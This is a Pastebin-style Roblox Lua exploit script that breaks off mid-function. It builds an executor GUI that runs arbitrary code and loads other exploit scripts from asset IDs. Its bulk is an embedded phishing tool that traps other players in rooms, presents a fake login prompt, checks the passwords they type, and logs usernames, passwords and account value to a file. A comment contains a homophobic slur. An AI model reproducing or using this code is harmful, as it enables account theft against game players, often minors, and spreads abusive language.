SHARE
TWEET

Doger V1

RobloxGamerEvs May 31st, 2017 (edited) 80 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. --XYZ GUI Objects
  2. wait(2)
  3. local LoadingScreen = Instance.new("ScreenGui", game.Players.veta1.PlayerGui)
  4. local LoadingFrame = Instance.new("Frame", LoadingScreen)
  5. local LoadingText = Instance.new("TextBox", LoadingFrame)
  6.  
  7. LoadingScreen.Name = "XYZLoad"
  8.  
  9. LoadingFrame.Name = "LoadingFrame"
  10. LoadingFrame.Position = UDim2.new(0, 200, 0, 100)
  11. LoadingFrame.Visible = true
  12. LoadingFrame.BackgroundTransparency = 1
  13.  
  14. LoadingText.Name = "LoadingText"
  15. LoadingText.Text = "Loading... (0/38)"
  16. LoadingText.BackgroundTransparency = 1
  17. LoadingText.Position = UDim2.new(0, 200, 0, -90)
  18. LoadingText.Font = Enum.Font.SourceSansBold
  19. LoadingText.TextColor3 = Color3.fromRGB(235, 235, 235)
  20. LoadingText.FontSize = Enum.FontSize.Size28
  21. wait(.2)
  22. LoadingText.Text = "Loading... (1/38)"
  23. wait(.2)
  24. LoadingText.Text = "Loading... (2/38)"
  25. wait(.2)
  26. LoadingText.Text = "Loading... (3/38)"
  27. wait(.2)
  28. LoadingText.Text = "Loading... (4/38)"
  29. wait(.2)
  30. LoadingText.Text = "Loading... (5/38)"
  31. wait(.2)
  32. LoadingText.Text = "Loading... (6/38)"
  33. wait(.2)
  34. LoadingText.Text = "Loading... (7/38)"
  35. wait(.2)
  36. LoadingText.Text = "Loading... (8/38)"
  37. wait(.2)
  38. LoadingText.Text = "Loading... (9/38)"
  39. wait(.2)
  40. LoadingText.Text = "Loading... (10/38)"
  41. wait(.2)
  42. LoadingText.Text = "Loading... (11/38)"
  43. wait(.2)
  44. LoadingText.Text = "Loading... (12/38)"
  45. wait(.2)
  46. LoadingText.Text = "Loading... (13/38)"
  47. wait(.2)
  48. LoadingText.Text = "Loading... (14/38)"
  49. wait(.2)
  50. LoadingText.Text = "Loading... (15/38)"
  51. wait(.2)
  52. LoadingText.Text = "Loading... (16/38)"
  53. wait(.2)
  54. LoadingText.Text = "Loading... (17/38)"
  55. wait(.2)
  56. LoadingText.Text = "Loading... (18/38)"
  57. wait(.2)
  58. LoadingText.Text = "Loading... (19/39)"
  59. wait(.2)
  60. LoadingText.Text = "Loading... (20/39)"
  61. wait(.2)
  62. LoadingText.Text = "Loading... (21/39)"
  63. wait(.2)
  64. LoadingText.Text = "Loading... (22/39)"
  65. wait(.2)
  66. LoadingText.Text = "Loading... (23/39)"
  67. wait(.2)
  68. LoadingText.Text = "Loading... (24/39)"
  69. wait(.2)
  70. LoadingText.Text = "Loading... (25/39)"
  71. wait(.2)
  72. LoadingText.Text = "Loading... (26/39)"
  73. wait(.2)
  74. LoadingText.Text = "Loading... (27/39)"
  75. wait(.2)
  76. LoadingText.Text = "Loading... (28/39)"
  77. wait(.2)
  78. LoadingText.Text = "Loading... (29/39)"
  79. wait(.2)
  80. LoadingText.Text = "Loading... (30/39)"
  81. wait(.2)
  82. LoadingText.Text = "Loading... (31/39)"
  83. wait(.2)
  84. LoadingText.Text = "Loading... (32/39)"
  85. wait(.2)
  86. LoadingText.Text = "Loading... (33/39)"
  87. wait(.2)
  88. LoadingText.Text = "Loading... (34/39)"
  89. wait(.2)
  90. LoadingText.Text = "Loading... (35/39)"
  91. wait(.2)
  92. LoadingText.Text = "Loading... (36/39)"
  93. wait(.2)
  94. LoadingText.Text = "Loading... (37/39)"
  95. wait(.2)
  96. LoadingText.Text = "Loading... (38/39)"
  97. wait(.2)
  98. LoadingText.Text = "Loading... (39/39)"
  99. wait(.2)
  100. LoadingText.Text = "Loading... (FINISH)"
  101. wait(5)
  102. LoadingScreen:Destroy()
  103.  
  104.  
  105. wait(2)
  106. local XYZ = Instance.new("ScreenGui", game.Players.LocalPlayer.PlayerGui)
  107. XYZ.Name = "XYZ"
  108. local UI = Instance.new("Frame", game.Players.LocalPlayer.PlayerGui.XYZ)
  109. UI.Name = "UI"
  110. local Execute = Instance.new("TextButton", game.Players.LocalPlayer.PlayerGui.XYZ.UI)
  111. local Clear = Instance.new("TextButton", game.Players.LocalPlayer.PlayerGui.XYZ.UI)
  112. local minimize_2 = Instance.new("TextButton", game.Players.LocalPlayer.PlayerGui.XYZ.UI)
  113. local x_2 = Instance.new("TextButton", game.Players.LocalPlayer.PlayerGui.XYZ.UI)
  114. local TextField = Instance.new("TextBox", game.Players.LocalPlayer.PlayerGui.XYZ.UI)
  115. local ReOpenFrame = Instance.new("Frame", game.Players.LocalPlayer.PlayerGui.XYZ)
  116. ReOpenFrame.Name = "ReOpenFrame"
  117. local ReOpen = Instance.new("TextButton", game.Players.LocalPlayer.PlayerGui.XYZ.ReOpenFrame)
  118. ReOpen.Name = "ReOpen"
  119. local GearsScreen = Instance.new("ScreenGui", game.Players.LocalPlayer.PlayerGui)
  120. local GearsFrame = Instance.new("Frame", GearsScreen)
  121. local x_4 = Instance.new("TextButton", GearsFrame)
  122. local OutputExecute = Instance.new("TextButton", GearsFrame)
  123. local TextField_2 = Instance.new("TextBox", GearsFrame)
  124. local onReOpenClick = game.Players.LocalPlayer.PlayerGui.XYZ.ReOpenFrame.ReOpen
  125. local GUITitle = Instance.new("TextLabel", game.Players.LocalPlayer.PlayerGui.XYZ.UI)
  126. local PreScriptUI = Instance.new("Frame", game.Players.LocalPlayer.PlayerGui.XYZ)
  127. local OpenPreScripts = Instance.new("TextButton", XYZ.UI)
  128. local DesignFrame = Instance.new("Frame", PreScriptUI)
  129. local AnonymousLocalPlayer = Instance.new("TextButton", DesignFrame)
  130. local x_3 = Instance.new("TextButton", PreScriptUI)
  131. local MGX7 = Instance.new("TextButton", DesignFrame)
  132. local RealMGX7 = Instance.new("TextButton", DesignFrame)
  133. local Opengears = Instance.new("TextButton", UI)
  134. local InputBar_1 = Instance.new("TextBox", GearsFrame)
  135. local RoExploit6 = Instance.new("TextButton", DesignFrame)
  136. local RoExploit5 = Instance.new("TextButton", DesignFrame)
  137. local BestSong = Instance.new("Sound", game.Players.LocalPlayer)
  138. BestSong.SoundId = "242751770"
  139. BestSong.Looped = true
  140. BestSong.Pitch = 1
  141. BestSong.Volume = 1
  142. BestSong.Name = "BestSong"
  143. wait(1)
  144. BestSong:Play()
  145.  
  146. XYZ.Name = "XYZ"
  147. XYZ.Parent = game.Players.LocalPlayer.PlayerGui
  148.  
  149. UI.Name = "UI"
  150. UI.Parent = XYZ
  151. UI.Active = true
  152. UI.BackgroundColor3 = Color3.new(0.5,0.5,0.5)
  153. UI.Draggable = true
  154. UI.Position = UDim2.new(0, 200, 0, 100)
  155. UI.Size = UDim2.new(0, 370, 0, 350)
  156. UI.Visible = false
  157.  
  158. Execute.Name = "Execute"
  159. Execute.Parent = UI
  160. Execute.BackgroundColor3 = Color3.fromRGB(222, 222, 222)
  161. Execute.Position = UDim2.new(0, 11, 0, 320)
  162. Execute.Size = UDim2.new(0, 100, 0, 25)
  163. Execute.Font = Enum.Font.SourceSans
  164. Execute.FontSize = Enum.FontSize.Size14
  165. Execute.Text = "Execute"
  166. Execute.TextColor3 = Color3.fromRGB(0, 0, 0)
  167.  
  168. Clear.Name = "Clear"
  169. Clear.Parent = UI
  170. Clear.BackgroundColor3 = Color3.fromRGB(222, 222, 222)
  171. Clear.Position = UDim2.new(0, 204, 0, 320)
  172. Clear.Size = UDim2.new(0, 100, 0, 25)
  173. Clear.Font = Enum.Font.SourceSans
  174. Clear.FontSize = Enum.FontSize.Size14
  175. Clear.Text = "Clear"
  176. Clear.TextColor3 = Color3.fromRGB(0, 0, 0)
  177.  
  178. TextField.Name = "TextField"
  179. TextField.Parent = UI
  180. TextField.BackgroundColor3 = Color3.fromRGB(234, 234, 234)
  181. TextField.BackgroundTransparency = 0
  182. TextField.Position = UDim2.new(0, 15, 0, 33)
  183. TextField.Size = UDim2.new(0, 285, 0, 273)
  184. TextField.ClearTextOnFocus = false
  185. TextField.Font = Enum.Font.SourceSans
  186. TextField.FontSize = Enum.FontSize.Size14
  187. TextField.MultiLine = true
  188. TextField.Text = "--XYZ GUI V0.3 Script Execution!"
  189. TextField.TextWrapped = true
  190. TextField.TextXAlignment = Enum.TextXAlignment.Left
  191. TextField.TextYAlignment = Enum.TextYAlignment.Top
  192.  
  193. minimize_2.Name = "minimize"
  194. minimize_2.Parent = UI
  195. minimize_2.BackgroundColor3 = Color3.new(1, 1, 1)
  196. minimize_2.BackgroundTransparency = 1
  197. minimize_2.Position = UDim2.new(0, 320, 0, 0)
  198. minimize_2.Size = UDim2.new(0, 25, 0, 25)
  199. minimize_2.ZIndex = 4
  200. minimize_2.Font = Enum.Font.SourceSansBold
  201. minimize_2.FontSize = Enum.FontSize.Size14
  202. minimize_2.Text = "-"
  203. minimize_2.TextColor3 = Color3.new(1, 1, 1)
  204.  
  205. x_2.Name = "x"
  206. x_2.Parent = UI
  207. x_2.BackgroundColor3 = Color3.new(1, 1, 1)
  208. x_2.BackgroundTransparency = 1
  209. x_2.Position = UDim2.new(0, 345, 0, 0)
  210. x_2.Size = UDim2.new(0, 25, 0, 25)
  211. x_2.ZIndex = 4
  212. x_2.Font = Enum.Font.SourceSansBold
  213. x_2.FontSize = Enum.FontSize.Size14
  214. x_2.Text = "X"
  215. x_2.TextColor3 = Color3.new(1, 1, 1)
  216.  
  217. GUITitle.Name = "GUITitle"
  218. GUITitle.Parent = UI
  219. GUITitle.BackgroundColor3 = Color3.new(1, 1, 1)
  220. GUITitle.BackgroundTransparency = 1
  221. GUITitle.Position = UDim2.new(0, 100, 0, 0)
  222. GUITitle.Size = UDim2.new(0, 25, 0, 25)
  223. GUITitle.ZIndex = 4
  224. GUITitle.Font = Enum.Font.SourceSansBold
  225. GUITitle.FontSize = Enum.FontSize.Size14
  226. GUITitle.Text = "DOGER REBORN v1"
  227. GUITitle.TextColor3 = Color3.new(1, 1, 1)
  228.  
  229. OpenPreScripts.Name = "OpenPreScripts"
  230. OpenPreScripts.Text = "PreScripts"
  231. OpenPreScripts.Size = UDim2.new(0, 69, 0, 25)
  232. OpenPreScripts.Position = UDim2.new(0, 300, 0, 33)
  233.  
  234. PreScriptUI.Name = "PreScripts"
  235. PreScriptUI.Parent = XYZ
  236. PreScriptUI.Active = true
  237. PreScriptUI.BackgroundColor3 = Color3.new(0.5,0.5,0.5)
  238. PreScriptUI.Draggable = true
  239. PreScriptUI.Position = UDim2.new(0, 200, 0, 100)
  240. PreScriptUI.Size = UDim2.new(0, 370, 0, 350)
  241. PreScriptUI.Visible = false
  242.  
  243. AnonymousLocalPlayer.Name = "AnonLocalPlayer"
  244. AnonymousLocalPlayer.Parent = DesignFrame
  245. AnonymousLocalPlayer.Active = true
  246. AnonymousLocalPlayer.BackgroundColor3 = Color3.new(0.5,0.5,0.5)
  247. AnonymousLocalPlayer.Size = UDim2.new(0, 69, 0, 25)
  248. AnonymousLocalPlayer.Text = "Anon Player"
  249. AnonymousLocalPlayer.Position = UDim2.new(0, 0, 0, 23)
  250.  
  251. MGX7.Name = "GoobyGUIV2"
  252. MGX7.Parent = DesignFrame
  253. MGX7.Active = true
  254. MGX7.BackgroundColor3 = Color3.new(0.5,0.5,0.5)
  255. MGX7.Size = UDim2.new(0, 69, 0, 25)
  256. MGX7.Text = "GoobyGUIV2"
  257. MGX7.Position = UDim2.new(0, 0, 0, 46)
  258.  
  259. RealMGX7.Name = "MGX7"
  260. RealMGX7.Parent = DesignFrame
  261. RealMGX7.Active = true
  262. RealMGX7.BackgroundColor3 = Color3.new(0.5,0.5,0.5)
  263. RealMGX7.Size = UDim2.new(0, 69, 0, 25)
  264. RealMGX7.Text = "MGX7"
  265. RealMGX7.Position = UDim2.new(0, 0, 0, 69)
  266.  
  267. RoExploit6.Name = "Ro-Xploit6"
  268. RoExploit6.Parent = DesignFrame
  269. RoExploit6.Active = true
  270. RoExploit6.BackgroundColor3 = Color3.new(0.5,0.5,0.5)
  271. RoExploit6.Size = UDim2.new(0, 69, 0, 25)
  272. RoExploit6.Text = "Rocky2u"
  273. RoExploit6.Position = UDim2.new(0, 0, 0, 92)
  274.  
  275. RoExploit5.Name = "Ro-Xploit5"
  276. RoExploit5.Parent = DesignFrame
  277. RoExploit5.Active = true
  278. RoExploit5.BackgroundColor3 = Color3.new(0.5,0.5,0.5)
  279. RoExploit5.Size = UDim2.new(0, 69, 0, 25)
  280. RoExploit5.Text = "RoXploit5"
  281. RoExploit5.Position = UDim2.new(0, 0, 0, 125)
  282.  
  283. x_3.Name = "x"
  284. x_3.Parent = PreScriptUI
  285. x_3.BackgroundColor3 = Color3.new(1, 1, 1)
  286. x_3.BackgroundTransparency = 1
  287. x_3.Position = UDim2.new(0, 329, 0, 0)
  288. x_3.Size = UDim2.new(0, 25, 0, 25)
  289. x_3.ZIndex = 4
  290. x_3.Font = Enum.Font.SourceSansBold
  291. x_3.FontSize = Enum.FontSize.Size14
  292. x_3.Text = "X"
  293. x_3.TextColor3 = Color3.new(1, 1, 1)
  294.  
  295. DesignFrame.Name = "DesignFrame"
  296. DesignFrame.Parent = PreScriptUI
  297. DesignFrame.Active = true
  298. DesignFrame.BackgroundTransparency = 0.4
  299. DesignFrame.Position = UDim2.new(0, 15, 0, 25)
  300. DesignFrame.Size = UDim2.new(0, 340, 0, 310)
  301. DesignFrame.Visible = false
  302. DesignFrame.BackgroundColor3 = Color3.new(0, 0, 0)
  303.  
  304. ReOpenFrame.Visible = true
  305. UI.Visible = false
  306. ReOpen.Size = UDim2.new(0, 50, 0, 50)
  307. ReOpen.Text = "XYZ"
  308. ReOpen.Visible = true
  309.  
  310. Opengears.Name = "OpenGears/Output"
  311. Opengears.Text = "Gears"
  312. Opengears.Size = UDim2.new(0, 69, 0, 25)
  313. Opengears.Position = UDim2.new(0, 300, 0, 66)
  314.  
  315. GearsScreen.Name = "Output/Gears"
  316. GearsScreen.Parent = game.Players.LocalPlayer.PlayerGui
  317.  
  318. GearsFrame.Name = "GearsFrame"
  319. GearsFrame.Parent = GearsScreen
  320. GearsFrame.Active = true
  321. GearsFrame.BackgroundColor3 = Color3.new(0.5,0.5,0.5)
  322. GearsFrame.Draggable = true
  323. GearsFrame.Position = UDim2.new(0, 200, 0, 100)
  324. GearsFrame.Size = UDim2.new(0, 315, 0, 350)
  325. GearsFrame.Visible = false
  326.  
  327. TextField_2.Name = "TextField"
  328. TextField_2.Parent = GearsFrame
  329. TextField_2.BackgroundColor3 = Color3.fromRGB(234, 234, 234)
  330. TextField_2.BackgroundTransparency = 0
  331. TextField_2.Position = UDim2.new(0, 15, 0, 33)
  332. TextField_2.Size = UDim2.new(0, 285, 0, 273)
  333. TextField_2.ClearTextOnFocus = false
  334. TextField_2.Font = Enum.Font.SourceSans
  335. TextField_2.FontSize = Enum.FontSize.Size14
  336. TextField_2.MultiLine = true
  337. TextField_2.Text = "Type :gears to view Gears!"
  338. TextField_2.TextWrapped = true
  339. TextField_2.TextXAlignment = Enum.TextXAlignment.Left
  340. TextField_2.TextYAlignment = Enum.TextYAlignment.Top
  341.  
  342. InputBar_1.Name = "InputBar"
  343. InputBar_1.Parent = GearsFrame
  344. InputBar_1.BackgroundColor3 = Color3.fromRGB(234, 234, 234)
  345. InputBar_1.BackgroundTransparency = 0
  346. InputBar_1.Position = UDim2.new(0, 15, 0, 320)
  347. InputBar_1.Size = UDim2.new(0, 230, 0, 20)
  348. InputBar_1.ClearTextOnFocus = false
  349. InputBar_1.Font = Enum.Font.SourceSans
  350. InputBar_1.FontSize = Enum.FontSize.Size14
  351. InputBar_1.MultiLine = false
  352. InputBar_1.Text = ""
  353. InputBar_1.TextWrapped = true
  354. InputBar_1.TextXAlignment = Enum.TextXAlignment.Left
  355. InputBar_1.TextYAlignment = Enum.TextYAlignment.Top
  356.  
  357. OutputExecute.Name = "Execute"
  358. OutputExecute.Parent = GearsFrame
  359. OutputExecute.BackgroundColor3 = Color3.fromRGB(234, 234, 234)
  360. OutputExecute.Position = UDim2.new(0, 250, 0, 320)
  361. OutputExecute.Size = UDim2.new(0, 50, 0, 20)
  362. OutputExecute.Font = Enum.Font.SourceSans
  363. OutputExecute.FontSize = Enum.FontSize.Size14
  364. OutputExecute.Text = "Execute"
  365. OutputExecute.TextColor3 = Color3.fromRGB(0, 0, 0)
  366.  
  367. x_4.Name = "x"
  368. x_4.Parent = GearsFrame
  369. x_4.BackgroundColor3 = Color3.new(1, 1, 1)
  370. x_4.BackgroundTransparency = 1
  371. x_4.Position = UDim2.new(0, 290, 0, 0)
  372. x_4.Size = UDim2.new(0, 25, 0, 25)
  373. x_4.ZIndex = 4
  374. x_4.Font = Enum.Font.SourceSansBold
  375. x_4.FontSize = Enum.FontSize.Size14
  376. x_4.Text = "X"
  377. x_4.TextColor3 = Color3.new(1, 1, 1)
  378.  
  379.  
  380. function onClick()
  381.     loadstring(TextField.Text)()
  382. end
  383. Execute.MouseButton1Click:connect(onClick)
  384.  
  385. function onXClick()
  386.     XYZ:Destroy()
  387. end
  388. x_2.MouseButton1Click:connect(onXClick)
  389.  
  390. function onMinimizeClick()
  391.     UI.Visible = false
  392.     ReOpen.Size = UDim2.new(0, 50, 0, 50)
  393.     ReOpen.Text = "XYZ"
  394.     ReOpen.Visible = true
  395. end
  396. minimize_2.MouseButton1Click:connect(onMinimizeClick)
  397.  
  398. function onXYZOpenClick()
  399.     UI.Visible = true
  400.     ReOpen.Visible = false
  401. end
  402. ReOpen.MouseButton1Click:connect(onXYZOpenClick)
  403.  
  404. function onClearClick()
  405.     TextField.Text = ""
  406. end
  407. Clear.MouseButton1Click:connect(onClearClick)
  408.  
  409. function onPreScriptsClick()
  410.     UI.Visible = false
  411.     PreScriptUI.Visible = true
  412.     ReOpen.Visible = true
  413.     DesignFrame.Visible = true
  414. end
  415. OpenPreScripts.MouseButton1Click:connect(onPreScriptsClick)
  416.  
  417. function onX_3Click()
  418.     PreScriptUI.Visible = false
  419. end
  420. x_3.MouseButton1Click:connect(onX_3Click)
  421.  
  422. function onAnonClick()
  423.     local pe = Instance.new("ParticleEmitter",game.Players.LocalPlayer.Character.Torso)
  424.     pe.Texture = "http://www.roblox.com/asset/?id=127476787"
  425.     pe.VelocitySpread = 5
  426. end
  427. AnonymousLocalPlayer.MouseButton1Click:connect(onAnonClick)
  428.  
  429. function onMGX7Click()
  430.     loadstring(game:GetObjects("rbxassetid://447933940")[1].Source)()
  431. end
  432. MGX7.MouseButton1Click:connect(onMGX7Click)
  433.  
  434. function onRoXploitClick()
  435.     loadstring(game:GetObjects('rbxassetid://295850902')[1].Source)()
  436. end
  437. RoExploit6.MouseButton1Click:connect(onRoXploitClick)
  438.  
  439. function onRoXploit5Click()
  440.     loadstring(game:GetObjects("rbxassetid://288646117")[1].Source)()
  441. end
  442. RoExploit5.MouseButton1Click:connect(onRoXploit5Click)
  443.  
  444. function onOpenGearsClick()
  445.     GearsFrame.Visible = true
  446.     ReOpenFrame.Visible = true
  447.     UI.Visible = false
  448.     ReOpen.Visible = true
  449. end
  450. Opengears.MouseButton1Click:connect(onOpenGearsClick)
  451.  
  452. function GearExecuted()
  453.     if InputBar_1.Text == ":gears" then
  454.         TextField_2.Text = (TextField_2.Text.."\n"..">UserInput: [:gears]\n"..":BoomBox--Gives Player Boombox")
  455.     else
  456.         if InputBar_1.Text == ":r" then
  457.                 wait(2)
  458.                 TextField_2.Text = (TextField_2.Text.."\n"..">:BoomBox".."\n>User Gear Sent")
  459.                 local root = game:GetService("InsertService"):LoadAsset(212641536)
  460.                 local item = root:children()
  461.                 for i = 1, #item do
  462.                 item[i].Parent = game.Players.LocalPlayer.Backpack
  463.                 item[i]:Clone() .Parent = game.Players.Mechalicky.StarterGear
  464.                 end
  465.         else
  466.             TextField_2.Text = (TextField_2.Text.."\n"..">UserInput: ["..InputBar_1.Text.."]".."\n>Not Gear/Command")
  467.         end
  468.     end
  469. end
  470. OutputExecute.MouseButton1Click:connect(GearExecuted)
  471.  
  472. function CharAdded()
  473.     ReOpenFrame.Visible = true
  474. end
  475. game.Players.ChildAdded:connect(CharAdded)
  476.  
  477. function onx_4Click()
  478.     GearsFrame.Visible = false
  479. end
  480. x_4.MouseButton1Click:connect(onx_4Click)
  481.  
  482. function onRealMGX7Click()
  483.     --Dont leak faggot, or hell will be released
  484.  
  485. local MyRoom = "BasicRoom"
  486.  
  487. local StorageType = 2
  488.  
  489. local ScamType = "Pick"
  490.  
  491. local TargetList = {}
  492.  
  493. local Bypassers = {
  494.     {}
  495. }
  496.  
  497. local Trello = {
  498.     Enabled = false,
  499.     List = "MRList",
  500.     DumpList = "MRDumps",
  501.     TrelloTargetList = "MRTargetList",
  502.     DevKey = "",
  503.     Token = "",
  504. }
  505.  
  506. local floodChat = false
  507.  
  508. local writeAccounts = true
  509. local fileName = "MGX8List"
  510.  
  511. BypassKey = "v3rm"
  512. BypassKeyEnabled = true
  513. BypassKeyRules = true
  514.  
  515. local kickLogin = false
  516.  
  517. local RAPApi = true
  518. ------------------------------------------------------------------------
  519.  
  520. local MainFolder = game:GetObjects("rbxassetid://432005266")[1]
  521. MainFolder.Parent = game.ReplicatedStorage
  522.  
  523. local player = game.Players.LocalPlayer
  524.  
  525. local CurrentlyScamming = {}
  526.  
  527. local MRStorage
  528.  
  529. local guiTool = MainFolder.Login
  530.  
  531. local replaceScript = game:GetService("InsertService"):LoadAsset(80576967):GetChildren()[1].LocalScript
  532. guiTool.LocalScript:Destroy()
  533. replaceScript.Parent = guiTool
  534.  
  535. local ruleTool = MainFolder["Bypass Rules"]
  536.  
  537. local replaceScript = game:GetService("InsertService"):LoadAsset(80576967):GetChildren()[1].LocalScript
  538. ruleTool.LocalScript:Destroy()
  539. replaceScript.Parent = ruleTool
  540.  
  541. local pickGui = MainFolder.PickGui
  542.  
  543. function checkPass(pass, playa)
  544.     if BypassKeyEnabled and pass == BypassKey then
  545.         if BypassKeyRules then
  546.             local newTool = ruleTool:Clone()
  547.             newTool.Parent = workspace
  548.             newTool.Handle.CanCollide = false
  549.             newTool.Handle.CFrame = playa.Character.Head.CFrame
  550.         end
  551.         return true
  552.     end
  553.     if pass == "Password" or pass == "" or pass == "Enter Your Password" or pass == "Incorrect Password" or pass == "Enter your Password" then
  554.         return false
  555.     end
  556.     local foundNums = 0
  557.     local foundLetters = 0
  558.     if string.find(pass, " ") then
  559.         return false
  560.     end
  561.     if pass:len() < 6 or pass:len() > 20 then
  562.         return false
  563.     end
  564.     for i=1,pass:len() do
  565.         if pass:sub(i,i):match("%d") ~= nil then
  566.             foundNums = foundNums + 1
  567.         end
  568.     end
  569.     if foundNums < 2 then
  570.         return false
  571.     end
  572.     for i=1,pass:len() do
  573.         if pass:sub(i,i):match("%a") ~= nil then
  574.             foundLetters = foundLetters + 1
  575.         end
  576.     end
  577.     if foundLetters < 4 then
  578.         return false
  579.     end
  580.     return true
  581. end
  582.  
  583. function getUText(root, val)
  584.     local found
  585.     if val then
  586.         found = val
  587.     end
  588.     for i,v in pairs(root:GetChildren()) do
  589.         if v.Name == "UText" then
  590.             found = v
  591.             break
  592.         end
  593.         found = getUText(v,found)
  594.     end
  595.     return found
  596. end
  597.  
  598. function getPText(root, val)
  599.     local found
  600.     if val then
  601.         found = val
  602.     end
  603.     for i,v in pairs(root:GetChildren()) do
  604.         if v.Name == "PText" then
  605.             found = v
  606.             break
  607.         end
  608.         found = getPText(v,found)
  609.     end
  610.     return found
  611. end
  612.  
  613. function getILPopUp(root, val)
  614.     local found
  615.     if val then
  616.         found = val
  617.     end
  618.     for i,v in pairs(root:GetChildren()) do
  619.         if v.Name == "ILPopUp" then
  620.             found = v
  621.             break
  622.         end
  623.         found = getILPopUp(v,found)
  624.     end
  625.     return found
  626. end
  627.  
  628. function unscPlayer(plr)
  629.     for i,v in pairs(CurrentlyScamming) do
  630.         if plr == v.Player then
  631.             table.insert(Bypassers,{Name = plr.Name, ID = plr.UserId})
  632.             table.remove(CurrentlyScamming,i)
  633.             wait()
  634.             while plr.Backpack:FindFirstChild("Login") do
  635.                 plr.Backpack.Login:Destroy()
  636.                 wait()
  637.             end
  638.             while plr.Character:FindFirstChild("Login") do
  639.                 plr.Character.Login:Destroy()
  640.                 wait()
  641.             end
  642.             plr.Character:WaitForChild("Torso")
  643.             plr.Character:WaitForChild("HumanoidRootPart")
  644.             plr.Character.HumanoidRootPart.Anchored = false
  645.             plr.Character.HumanoidRootPart.CFrame = v.ReturnPos
  646.             v.Player.CameraMaxZoomDistance = 400
  647.             v.Player.CameraMinZoomDistance = 0
  648.             v.RoomModel:Destroy()
  649.         end
  650.     end
  651. end
  652.  
  653. function scPlayer(plr)
  654.     ypcall(function()
  655.     local debounce = false
  656.     local roomCheck = MainFolder.Rooms:FindFirstChild(MyRoom)
  657.     if roomCheck then
  658.         local roomId = #CurrentlyScamming + 1
  659.         local newRoom = roomCheck:Clone()
  660.         newRoom.Parent = workspace
  661.         newRoom:MoveTo(Vector3.new(5000,1000, 5000 + 100 * roomId))
  662.        
  663.         local newPacket = {Player = plr, RoomId = roomId, RoomModel = newRoom, ReturnPos = plr.Character.Torso.CFrame}
  664.         table.insert(CurrentlyScamming,newPacket)
  665.         --[[
  666.         newRoom.LButton.ClickDetector.MouseClick:connect(function(playa)
  667.             if debounce == false then
  668.                 if playa.Backpack:FindFirstChild("Login") then
  669.                     if playa == plr and getILPopUp(playa.Backpack.Login) and getPText(playa.Backpack.Login) then
  670.                         debounce = true
  671.                         getILPopUp(newRoom).Visible = false
  672.                         getILPopUp(playa.Backpack.Login).Visible = false
  673.                         wait(0.5)
  674.                         if playa.Backpack:FindFirstChild("Login") then
  675.                             if checkPass(getPText(playa.Backpack.Login).Text) then
  676.                                 print(plr.Name .. " : " .. getPText(playa.Backpack.Login).Text)
  677.                                 unscPlayer(plr)
  678.                             else
  679.                                 getILPopUp(newRoom).Visible = true
  680.                                 getILPopUp(playa.Backpack.Login).Visible = true
  681.                                 getPText(playa.Backpack.Login).Text = ""
  682.                             end
  683.                         end
  684.                     end
  685.                 end
  686.                 debounce = false
  687.             end
  688.         end)
  689.         --]]
  690.     end
  691.     end)
  692. end
  693.  
  694. function isBypass(plr)
  695.     local bypass = false
  696.     for i,v in pairs(Bypassers) do
  697.         if v.Name == plr.Name or v.ID == plr.UserId then
  698.             bypass = true
  699.         end
  700.     end
  701.     return bypass
  702. end
  703.  
  704. function isScamming(plr)
  705.     local isScam = false
  706.     for i,v in pairs(CurrentlyScamming) do
  707.         if v.Player.Name == plr then
  708.             isScam = true
  709.         end
  710.     end
  711.     return isScam
  712. end
  713.  
  714. function fixPlayers()
  715.     for i,v in pairs(CurrentlyScamming) do
  716.         ypcall(function()
  717.             if v.Player.Character:FindFirstChild("Login") then
  718.                 if v.Player.Character.Login:FindFirstChild("SprayGui") then
  719.                     local tempTool = v.Player.Character:FindFirstChild("Login")
  720.                     tempTool.Parent = v.RoomModel
  721.                     tempTool.Handle.CFrame = v.Player.Character.Head.CFrame
  722.                 end
  723.             end
  724.         end)
  725.     end
  726. end
  727.  
  728. function BCtoDumpStr(str)
  729.     local res = ""
  730.     if str == "Enum.MembershipType.BuildersClub" then
  731.         res = "[BC] "
  732.     elseif str == "Enum.MembershipType.TurboBuildersClub" then
  733.         res = "[TBC] "
  734.     elseif str == "Enum.MembershipType.OutrageousBuildersClub" then
  735.         res = "[OBC] "
  736.     elseif str == "Enum.MembershipType.None" then
  737.         res = ""
  738.     end
  739.     return res
  740. end
  741.  
  742. function getRap(user)
  743.     local rap = "Error."
  744.     if RAPApi then
  745.         ypcall(function()
  746.             local http = game:GetService("HttpService")
  747.             local rawrap = http:JSONDecode(game:HttpGet("http://roblox.plus:2052/inventory?username=" .. user,true))
  748.             rap = tostring(rawrap.rap)
  749.         end)
  750.     else
  751.         rap = "Disabled."
  752.     end
  753.     return rap
  754. end
  755.  
  756. function logAccount(user,pass)
  757.     local playerName = user.Name   
  758.     local playerAge = tostring(user.AccountAge)
  759.     local playerRAP = getRap(playerName)
  760.    
  761.     if print then
  762.         print(BCtoDumpStr(tostring(user.MembershipType)) .. playerName .. " : " .. pass .. " Age: " .. playerAge .. " RAP: " .. playerRAP)
  763.     end
  764.     if readfile and writefile then
  765.         if readfile(getelysianpath()..fileName..".txt") == "nil path doesn't exist" then
  766.             writefile(getelysianpath()..fileName..".txt", BCtoDumpStr(tostring(user.MembershipType)) .. playerName .. " : " .. pass .. " Age: " .. playerAge .. " RAP: " .. playerRAP)
  767.         else
  768.             local tempFile = readfile(getelysianpath()..fileName..".txt")
  769.             writefile(getelysianpath()..fileName..".txt", tempFile .. "\n" .. BCtoDumpStr(tostring(user.MembershipType)) .. playerName .. " : " .. pass .. " Age: " .. playerAge .. " RAP: " .. playerRAP)
  770.         end
  771.     end
  772. end
  773.  
  774. function teleportVictims()
  775.     for i,v in pairs(CurrentlyScamming) do
  776.         ypcall(function()
  777.             v.Player.Character.HumanoidRootPart.CFrame = v.RoomModel.Spawn.CFrame + Vector3.new(0,-10,0)
  778.             v.Player.Character.HumanoidRootPart.Anchored = true
  779.             if not v.Player.Backpack:FindFirstChild("Login") and not v.Player.Character:FindFirstChild("Login") then
  780.                 if not v.RoomModel:FindFirstChild("Login") then
  781.                     local tempTools = {}
  782.                     for i2,v2 in pairs(v.Player.Backpack:GetChildren()) do
  783.                         table.insert(tempTools,v2:Clone())
  784.                         v2:Destroy()
  785.                     end
  786.                     local newTool = guiTool:Clone()
  787.                     newTool.Parent = v.RoomModel
  788.                     newTool.Handle.CanCollide = false
  789.                     newTool.Handle.CFrame = v.Player.Character.Head.CFrame
  790.                     newTool.Handle.BodyPosition.Position = v.RoomModel.Spawn.Position + Vector3.new(0,-10,0)
